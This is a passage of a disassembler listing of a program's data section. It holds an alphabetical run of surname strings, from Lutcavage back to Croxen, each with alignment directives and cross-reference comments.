aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E020o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E01Co
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E018o
		align 10h
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E014o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E010o
		align 10h
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E00Co
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E008o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E004o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E000o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: ___:0042DFFCo
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042DFF8o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042DFF4o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042DFF0o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042DFECo
		align 10h
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042DFE8o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042DFE4o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042DFE0o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042DFDCo
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042DFD8o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042DFD4o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042DFD0o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042DFCCo
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042DFC8o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042DFC4o
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042DFC0o
aLine		db 'Line',0             ; DATA XREF: ___:0042DFBCo
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: ___:0042DFB8o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042DFB4o
		align 10h
aLinares	db 'Linares',0          ; DATA XREF: ___:0042DFB0o
aLim		db 'Lim',0              ; DATA XREF: ___:0042DFACo
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042DFA8o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042DFA4o
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: ___:0042DFA0o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042DF9Co
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042DF98o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042DF94o
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042DF90o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042DF8Co
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042DF88o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042DF84o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042DF80o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042DF7Co
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042DF78o
		align 10h
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042DF74o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042DF70o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042DF6Co
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042DF68o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042DF64o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042DF60o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042DF5Co
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042DF58o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042DF54o
		align 10h
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042DF50o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042DF4Co
aLa		db 'La',0               ; DATA XREF: ___:0042DF48o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042DF44o
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042DF40o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042DF3Co
		align 10h
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042DF38o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042DF34o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042DF30o
aKraus		db 'Kraus',0
		align 10h
aKrasney	db 'Krasney',0
aKrailo		db 'Krailo',0
		align 10h
aKraemer	db 'Kraemer',0
aKovaks		db 'Kovaks',0
		align 10h
aKotter		db 'Kotter',0
		align 4
aKorzybski	db 'Korzybski',0
		align 4
aKool		db 'Kool',0
		align 4
aKonrad		db 'Konrad',0
		align 4
aKoniaris	db 'Koniaris',0
		align 10h
aKommer		db 'Kommer',0
		align 4
aKoivumaki	db 'Koivumaki',0
		align 4
aKohn		db 'Kohn',0
		align 4
aKoch		db 'Koch',0
		align 4
aKobrick	db 'Kobrick',0
aKnuff		db 'Knuff',0
		align 4
aKlint		db 'Klint',0
		align 4
aKlinkenborg	db 'Klinkenborg',0
aKling		db 'Kling',0
		align 10h
aKlemperer	db 'Klemperer',0
		align 4
aKleinfelder	db 'Kleinfelder',0
aKleiman	db 'Kleiman',0
aKleckner	db 'Kleckner',0
		align 4
aKittridge	db 'Kittridge',0
		align 4
aKirscht	db 'Kirscht',0
aKippenberger	db 'Kippenberger',0
		align 10h
aKinsley	db 'Kinsley',0
aKindall	db 'Kindall',0
aKimura		db 'Kimura',0
		align 4
aKimmett	db 'Kimmett',0
aKimmel		db 'Kimmel',0
		align 4
aKhong		db 'Khong',0
		align 10h
aKeul		db 'Keul',0
		align 4
aKerry		db 'Kerry',0
		align 10h
aKendall	db 'Kendall',0
aKemsley	db 'Kemsley',0
aKempton	db 'Kempton',0
aKelsey		db 'Kelsey',0
		align 10h
aKelker		db 'Kelker',0
		align 4
aKeith		db 'Keith',0
		align 10h
aKeepper	db 'Keepper',0
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042DE88o
		align 10h
aKee		db 'Kee',0              ; DATA XREF: ___:0042DE84o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042DE80o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042DE7Co
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042DE78o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042DE74o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042DE70o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042DE6Co
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042DE68o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042DE64o
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042DE60o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042DE5Co
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042DE58o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042DE54o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042DE50o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042DE4Co
aJulious	db 'Julious',0          ; DATA XREF: ___:0042DE48o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042DE44o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042DE40o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042DE3Co
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042DE38o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042DE34o
		align 10h
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042DE30o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042DE2Co
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042DE28o
		align 10h
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042DE24o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042DE20o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042DE1Co
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042DE18o
aJay		db 'Jay',0              ; DATA XREF: ___:0042DE14o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042DE10o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042DE0Co
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042DE08o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042DE04o
		align 10h
aJain		db 'Jain',0             ; DATA XREF: ___:0042DE00o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042DDFCo
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042DDF8o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042DDF4o
		align 10h
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042DDF0o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042DDECo
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042DDE8o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042DDE4o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042DDE0o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042DDDCo
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042DDD8o
		align 10h
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042DDD4o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042DDD0o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042DDCCo
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042DDC8o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042DDC4o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042DDC0o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042DDBCo
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042DDB8o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042DDB4o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042DDB0o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042DDACo
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042DDA8o
		align 10h
aHuey		db 'Huey',0             ; DATA XREF: ___:0042DDA4o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042DDA0o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042DD9Co
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042DD98o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042DD94o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042DD90o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042DD8Co
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042DD88o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042DD84o
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042DD80o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042DD7Co
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042DD78o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042DD74o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042DD70o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042DD6Co
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042DD68o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042DD64o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042DD60o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: ___:0042DD5Co
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042DD58o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042DD54o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042DD50o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042DD4Co
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042DD48o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042DD44o
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042DD40o
aHester		db 'Hester',0           ; DATA XREF: ___:0042DD3Co
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042DD38o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042DD34o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042DD30o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: ___:0042DD2Co
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042DD28o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042DD24o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042DD20o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042DD1Co
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042DD18o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042DD14o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042DD10o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042DD0Co
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042DD08o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042DD04o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042DD00o
		align 10h
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042DCFCo
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042DCF8o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042DCF4o
		align 10h
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042DCF0o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042DCECo
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042DCE8o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042DCE4o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042DCE0o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042DCDCo
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042DCD8o
aHand		db 'Hand',0             ; DATA XREF: ___:0042DCD4o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042DCD0o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042DCCCo
		align 10h
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042DCC8o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042DCC4o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042DCC0o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042DCBCo
aHaley		db 'Haley',0            ; DATA XREF: ___:0042DCB8o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042DCB4o
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042DCB0o
aHaar		db 'Haar',0             ; DATA XREF: ___:0042DCACo
		align 10h
aHa		db 'Ha',0               ; DATA XREF: ___:0042DCA8o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0042DCA4o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042DCA0o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042DC9Co
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042DC98o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042DC94o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042DC90o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042DC8Co
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042DC88o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042DC84o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042DC80o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042DC7Co
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042DC78o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042DC74o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042DC70o
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042DC6Co
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042DC68o
		align 10h
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042DC64o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DC60o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DC5Co
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DC58o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DC54o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DC50o
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042DC4Co
		align 10h
aGili		db 'Gili',0             ; DATA XREF: ___:0042DC48o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DC44o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DC40o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DC3Co
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DC38o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DC34o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DC30o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DC2Co
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DC28o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DC24o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DC20o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DC1Co
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DC18o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DC14o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DC10o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DC0Co
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DC08o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DC04o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DC00o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DBFCo
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DBF8o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DBF4o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DBF0o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DBECo
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DBE8o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DBE4o
		align 10h
aFried		db 'Fried',0            ; DATA XREF: ___:0042DBE0o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DBDCo
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DBD8o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DBD4o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DBD0o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DBCCo
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DBC8o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DBC4o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DBC0o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DBBCo
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DBB8o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: ___:0042DBB4o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DBB0o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DBACo
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DBA8o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DBA4o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DBA0o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DB9Co
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DB98o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DB94o
aFink		db 'Fink',0             ; DATA XREF: ___:0042DB90o
		align 10h
aField		db 'Field',0            ; DATA XREF: ___:0042DB8Co
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042DB88o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DB84o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DB80o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DB7Co
		align 10h
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DB78o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DB74o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DB70o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DB6Co
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DB68o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: ___:0042DB64o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DB60o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DB5Co
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DB58o
		align 10h
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DB54o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DB50o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DB4Co
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DB48o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DB44o
		align 10h
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DB40o
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DB3Co
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DB38o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DB34o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DB30o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DB2Co
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042DB28o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DB24o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DB20o
		align 10h
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DB1Co
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DB18o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DB14o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DB10o
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DB0Co
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DB08o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DB04o
		align 10h
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DB00o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DAFCo
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DAF8o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DAF4o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DAF0o
		align 10h
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DAECo
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DAE8o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DAE4o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DAE0o
		align 10h
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DADCo
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DAD8o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DAD4o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DAD0o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DACCo
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DAC8o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DAC4o
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DAC0o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DABCo
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DAB8o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042DAB4o
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DAB0o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DAACo
		align 10h
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DAA8o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DAA4o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DAA0o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DA9Co
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DA98o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DA94o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DA90o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DA8Co
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DA88o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DA84o
		align 10h
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DA80o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DA7Co
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DA78o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DA74o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DA70o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DA6Co
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DA68o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DA64o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DA60o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DA5Co
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DA58o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DA54o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DA50o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DA4Co
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DA48o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DA44o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DA40o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DA3Co
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DA38o
		align 10h
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DA34o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DA30o
aDavid		db 'David',0            ; DATA XREF: ___:0042DA2Co
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DA28o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DA24o
		align 10h
aDas		db 'Das',0              ; DATA XREF: ___:0042DA20o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DA1Co
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DA18o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042DA14o
		align 10h
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DA10o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DA0Co
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DA08o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DA04o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DA00o
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042D9FCo
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042D9F8o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042D9F4o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042D9F0o
aCui		db 'Cui',0              ; DATA XREF: ___:0042D9ECo
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042D9E8o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042D9E4o
		align 10h
